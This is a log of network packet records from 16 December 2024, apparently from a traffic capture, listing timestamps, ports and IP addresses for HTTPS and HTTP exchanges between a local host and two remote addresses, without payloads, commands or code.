Dec 16, 2024 13:16:37.957494974 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:37.957839966 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:37.959825039 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:37.959892035 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:37.959933043 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:37.964212894 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.964276075 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.964304924 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.964353085 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.972731113 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.972790003 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.972891092 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.972938061 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.981189966 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.981300116 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.981359959 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.981409073 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.989552975 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.989624023 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.989708900 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.989759922 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.997992039 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.998080015 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.034882069 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.034965992 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.107192993 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.107301950 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.107306957 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.107361078 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.109615088 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.109694004 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.110740900 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.110806942 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.110891104 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.110946894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.115789890 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.115875006 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.115891933 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.115941048 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.120846987 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.120925903 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.120959044 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.121014118 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.125636101 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.125699043 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.125758886 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.125808954 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.130537987 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.130621910 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.130630970 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.130681992 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.135447979 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.135535002 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.135546923 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.135596037 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.140378952 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.140448093 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.140496969 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.140542984 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.145209074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.145325899 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.145354986 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.145409107 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.150096893 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.150190115 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.150207996 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.150264978 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.154994011 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.155075073 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.155102968 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.155153036 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.159837008 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.159893990 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.159907103 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.159935951 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.164711952 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.164793968 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.164829016 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.164869070 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.168536901 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.168551922 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.168665886 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.172518969 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.172555923 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.172606945 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.172645092 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.176213980 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.176287889 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.176409006 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.176455021 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.179980993 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.180052042 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.180059910 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.180109024 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.183872938 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.183949947 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.184128046 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.184309959 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.187649012 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.187726021 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.187762976 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.187809944 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.191451073 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.191521883 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.191559076 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.191611052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.227180958 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.227246046 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.227305889 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.227353096 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.229094028 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.229144096 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.229166985 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.229232073 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.299441099 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.299504995 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.299520969 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.299566984 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.300717115 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.300774097 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.300801992 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.300899029 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.303690910 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.303740025 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.304681063 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.304728985 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.304794073 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.304837942 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.307749987 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.307796001 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.307800055 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.307837009 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.310592890 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.310642004 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.310713053 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.310758114 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.313513994 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.313563108 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.313731909 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.313775063 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.316179991 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.316240072 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.316251993 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.316296101 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.318916082 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.318968058 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.318994999 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.319039106 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.321748972 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.321763992 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.321796894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.321824074 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.324284077 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.324336052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.324420929 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.324465990 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.326957941 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.327007055 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.327066898 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.327116966 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.329638004 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.329696894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.329714060 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.329761028 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.332305908 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.332356930 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.332367897 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.332408905 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.334955931 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.335011005 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.335062981 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.335114956 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.337598085 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.337652922 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.337799072 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.337845087 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.340728045 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.340789080 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.340832949 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.340879917 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.343556881 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.343615055 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.343617916 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.343668938 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.345932007 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.345988989 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.346128941 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.346129894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.348340988 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.348396063 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.348484039 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.348536015 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.350986958 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.351016045 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.351036072 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.351056099 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.353624105 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.353672981 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.353709936 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.353765011 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.355622053 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.355671883 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.355737925 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.355782986 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.357630968 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.357688904 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.357739925 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.357784033 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.359646082 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.359692097 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.359776974 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.359824896 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.361601114 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.361654043 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.361730099 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.361783981 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.363590956 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.363642931 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.363658905 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.363698006 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.365576982 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.365638018 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.365659952 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.365696907 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.367569923 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.367616892 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.367661953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.367714882 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.369574070 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.369617939 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.369661093 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.369724989 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.371483088 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.371534109 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.371552944 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.371596098 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.373521090 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.373574972 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.373601913 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.373639107 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.375498056 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.375540018 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.375650883 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.375685930 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.377470016 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.377518892 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.377554893 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.377595901 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.379483938 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.379533052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.379589081 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.379623890 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.381530046 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.381572008 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.381710052 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.381748915 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.383449078 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.383492947 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.383528948 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.383565903 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.385411024 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.385451078 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.385514975 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.385550976 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.387392998 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.387435913 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.491565943 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.491604090 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.491689920 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.491738081 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.492377996 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.492422104 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.492502928 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.492542982 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.493885994 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.493932009 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.494007111 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.494051933 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.495557070 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.495614052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.495728016 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.495774031 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.497229099 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.497277975 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.497304916 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.497349024 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.498820066 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.498872042 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.498997927 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.499038935 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.500420094 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.500467062 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.500488043 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.500529051 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.501925945 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.501974106 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.502028942 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.502069950 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.503490925 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.503540039 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.503602982 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.503640890 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.505027056 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.505080938 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.505093098 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.505121946 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.506506920 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.506556034 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.506624937 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.506664038 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.508018017 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.508063078 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.508071899 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.508111954 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.509568930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.509649992 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.509783983 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.509848118 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.511035919 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.511096001 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.511161089 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.511204004 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.512396097 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.512454987 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.512515068 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.512557030 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.513890982 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.513952017 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.513978958 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.514019012 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.515351057 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.515414953 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.515444040 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.515486956 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.516781092 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.516840935 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.516922951 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.516964912 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.518235922 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.518296003 CET	49770	80	192.168.2.8	185.215.113.16
